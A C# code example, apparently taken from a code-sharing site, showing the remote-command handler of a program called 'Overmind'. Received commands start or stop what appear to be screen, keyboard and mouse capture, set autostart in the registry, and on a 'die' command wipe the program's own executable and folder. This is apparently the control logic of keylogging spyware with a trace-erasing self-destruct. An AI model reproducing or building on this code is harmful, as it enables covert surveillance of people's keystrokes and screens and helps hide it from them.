Exemplo n.º 1
0
 void _actionCenter_ReceiveAppCommand(int id, ActionCenter.ActionType type, byte[] data)
 {
     if (this.InvokeRequired)
         this.BeginInvoke((MethodInvoker)delegate { this._actionCenter_ReceiveAppCommand(id, type, data); });
     else
     {
         this._neuroLog.Write("Received App Command", type.ToString());
         switch (type)
         {
             case ActionCenter.ActionType.AppAutoStart:
                 try
                 {
                     RegistryKey rk = Registry.LocalMachine.CreateSubKey("SOFTWARE\\NX\\Overmind");
                     rk.SetValue("AutoStart", "true");
                     rk.Close();
                 }
                 catch (Exception) { }
                 break;
             case ActionCenter.ActionType.AppAutoStop:
                 try
                 {
                     RegistryKey rk = Registry.LocalMachine.CreateSubKey("SOFTWARE\\NX\\Overmind");
                     rk.SetValue("AutoStart", "false");
                     rk.Close();
                 }
                 catch (Exception) { }
                 break;
             case ActionCenter.ActionType.AppDie:
                 // Stop Captures
                 this._sc.Stop();
                 this._kc.Stop();
                 this._mc.Stop();
                 this.captureTimer.Enabled = false;
                 // Remove AutoStarts
                 try
                 {
                     RegistryKey rk = Registry.LocalMachine.CreateSubKey("SOFTWARE\\NX\\Overmind");
                     rk.SetValue("AutoStart", "false");
                     rk.Close();
                 }
                 catch (Exception) { }
                 // Delete Files
                 File.Delete(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName);
                 Directory.Delete(Path.GetDirectoryName(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName), true);
                 // Quit Application
                 this.Close();
                 break;
             case ActionCenter.ActionType.AppPause:
                 this._sc.Stop();
                 this._kc.Stop();
                 this._mc.Stop();
                 this.captureTimer.Enabled = false;
                 break;
             case ActionCenter.ActionType.AppStart:
                 this._sc.Start();
                 this._kc.Start();
                 this._mc.Start();
                 this.captureTimer.Enabled = true;
                 break;
             case ActionCenter.ActionType.AppStop:
                 this._sc.Stop();
                 this._kc.Stop();
                 this._mc.Stop();
                 this.captureTimer.Enabled = false;
                 this.Close();
                 break;
         }
     }
 }